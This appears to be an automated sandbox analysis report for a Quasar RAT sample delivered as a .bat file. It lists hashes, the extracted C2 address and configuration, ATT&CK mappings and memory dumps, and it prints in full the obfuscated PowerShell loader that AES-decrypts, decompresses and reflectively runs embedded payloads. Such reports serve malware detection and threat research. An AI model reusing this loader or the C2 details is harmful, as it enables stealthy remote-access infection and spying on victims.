quasar | 5d6a1784c8174765c6cbcae4384a72433e0d4c853bcc83baa2a56f5e6826ecc1

General

Target

5d6a1784c8174765c6cbcae4384a72433e0d4c853bcc83baa2a56f5e6826ecc1.bat
Size

1.6MB
MD5

28b65da7604be7bf55d110b2d521e819
SHA1

81c6e84481c6e930b56744c952fd6ad51d1d0510
SHA256

5d6a1784c8174765c6cbcae4384a72433e0d4c853bcc83baa2a56f5e6826ecc1
SHA512

b7cf5171c7c03952408185784617b18560113aa12495cae6feb6a1624253ab26f590f549adcb86f01b03216991eb329281362bacc0735207f17d374b6ebfc986
SSDEEP

24576:R7gWtTN1E+XtPIVRbYswK391U9NxwoQvn7hHBhVFbU3fY2m+7BdMtgYGURazVXm6:R8GoJVlXhwmQYRataE

Score

10^/10

quasar office04 execution spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.4.1

Botnet

Office04

C2

walkout.ddnsgeek.com:8080

Mutex

27391f85-a482-471a-b2cd-1f8ab5bde32e

Attributes

encryption_key
6469F8C5BA9A2CFDCF4A3F1651D1E92DBEA41117
install_name
Client.exe
log_directory
Logs
reconnect_delay
3000
startup_key
Quasar Client Startup
subdirectory
SubDir

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral2/memory/4884-17-0x000001CD2A5F0000-0x000001CD2A914000-memory.dmp	family_quasar

Blocklisted process makes network request 3 IoCs

flow	pid	Process
15	4884	powershell.exe
16	4884	powershell.exe
18	4884	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4884	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4884	powershell.exe
4884	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4884	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4884	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4392 wrote to memory of 4848	4392	cmd.exe	87
PID 4392 wrote to memory of 4848	4392	cmd.exe	87
PID 4392 wrote to memory of 4884	4392	cmd.exe	88
PID 4392 wrote to memory of 4884	4392	cmd.exe	88

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\5d6a1784c8174765c6cbcae4384a72433e0d4c853bcc83baa2a56f5e6826ecc1.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4392
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo cls;cls;cls;cls;cls;cls;cls;cls;cls;cls;cls;function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::FromBase64String('PzSH18pJ0ENyFSM/USldXJhwnqnJUUe00JoxlVJW0c0='); $aes_var.IV=[System.Convert]::FromBase64String('9Tu4NVBBLcJYA/vSvSTOtw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ IEX '$RwOEe=New-Object System.IO.M*em*or*yS*tr*ea*m(,$param_var);'.Replace('*', ''); IEX '$gtrMl=New-Object System.IO.*M*e*m*o*r*y*S*t*r*e*a*m*;'.Replace('*', ''); IEX '$vevrb=New-Object System.IO.C*om*pr*e*ss*io*n.*GZ*ip*St*re*am*($RwOEe, [IO.C*om*pr*es*si*on*.Co*mp*re*ss*i*o*n*Mode]::D*e*c*omp*re*ss);'.Replace('*', ''); $vevrb.CopyTo($gtrMl); $vevrb.Dispose(); $RwOEe.Dispose(); $gtrMl.Dispose(); $gtrMl.ToArray();}function execute_function($param_var,$param2_var){ IEX '$qIMhL=[System.R*e*fl*ect*io*n.*As*se*mb*l*y*]::L*o*a*d*([byte[]]$param_var);'.Replace('*', ''); IEX '$WefkQ=$qIMhL.*E*n*t*r*y*P*o*i*n*t*;'.Replace('*', ''); IEX '$WefkQ.*I*n*v*o*k*e*($null, $param2_var);'.Replace('*', '');}$UgEHe = 'C:\Users\Admin\AppData\Local\Temp\5d6a1784c8174765c6cbcae4384a72433e0d4c853bcc83baa2a56f5e6826ecc1.bat';$host.UI.RawUI.WindowTitle = $UgEHe;$KMhqS=[System.IO.File]::ReadAllText($UgEHe).Split([Environment]::NewLine);foreach ($xITWx in $KMhqS) { if ($xITWx.StartsWith('CJcwMcQcauxKDynFigtW')) { $JAGyo=$xITWx.Substring(20); break; }}$payloads_var=[string[]]$JAGyo.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));$payload3_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[2].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var $null;execute_function $payload3_var (,[string[]] ('')); "
  2⤵
  PID:4848
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:4884

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rvb50ciq.fnm.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4884-16-0x000001CD2A4C0000-0x000001CD2A5F2000-memory.dmp

Filesize
1.2MB

Download
memory/4884-11-0x00007FFAA25E0000-0x00007FFAA30A1000-memory.dmp

Filesize
10.8MB

Download
memory/4884-18-0x00007FFAA25E0000-0x00007FFAA30A1000-memory.dmp

Filesize
10.8MB

Download
memory/4884-19-0x000001CD2AF10000-0x000001CD2AF60000-memory.dmp

Filesize
320KB

Download
memory/4884-13-0x000001CD2A370000-0x000001CD2A3B4000-memory.dmp

Filesize
272KB

Download
memory/4884-14-0x000001CD2A440000-0x000001CD2A4B6000-memory.dmp

Filesize
472KB

Download
memory/4884-15-0x000001CD2A100000-0x000001CD2A10C000-memory.dmp

Filesize
48KB

Download
memory/4884-0-0x00007FFAA25E3000-0x00007FFAA25E5000-memory.dmp

Filesize
8KB

Download
memory/4884-29-0x00007FFAA25E0000-0x00007FFAA30A1000-memory.dmp

Filesize
10.8MB

Download
memory/4884-1-0x000001CD29E70000-0x000001CD29E92000-memory.dmp

Filesize
136KB

Download
memory/4884-12-0x00007FFAA25E0000-0x00007FFAA30A1000-memory.dmp

Filesize
10.8MB

Download
memory/4884-20-0x000001CD2B320000-0x000001CD2B3D2000-memory.dmp

Filesize
712KB

Download
memory/4884-21-0x000001CD2B130000-0x000001CD2B2F2000-memory.dmp

Filesize
1.8MB

Download
memory/4884-24-0x000001CD2AEE0000-0x000001CD2AEF2000-memory.dmp

Filesize
72KB

Download
memory/4884-25-0x000001CD2AFA0000-0x000001CD2AFDC000-memory.dmp

Filesize
240KB

Download
memory/4884-26-0x00007FFAA25E3000-0x00007FFAA25E5000-memory.dmp

Filesize
8KB

Download
memory/4884-27-0x00007FFAA25E0000-0x00007FFAA30A1000-memory.dmp

Filesize
10.8MB

Download
memory/4884-17-0x000001CD2A5F0000-0x000001CD2A914000-memory.dmp

Filesize
3.1MB

Download

Analysis

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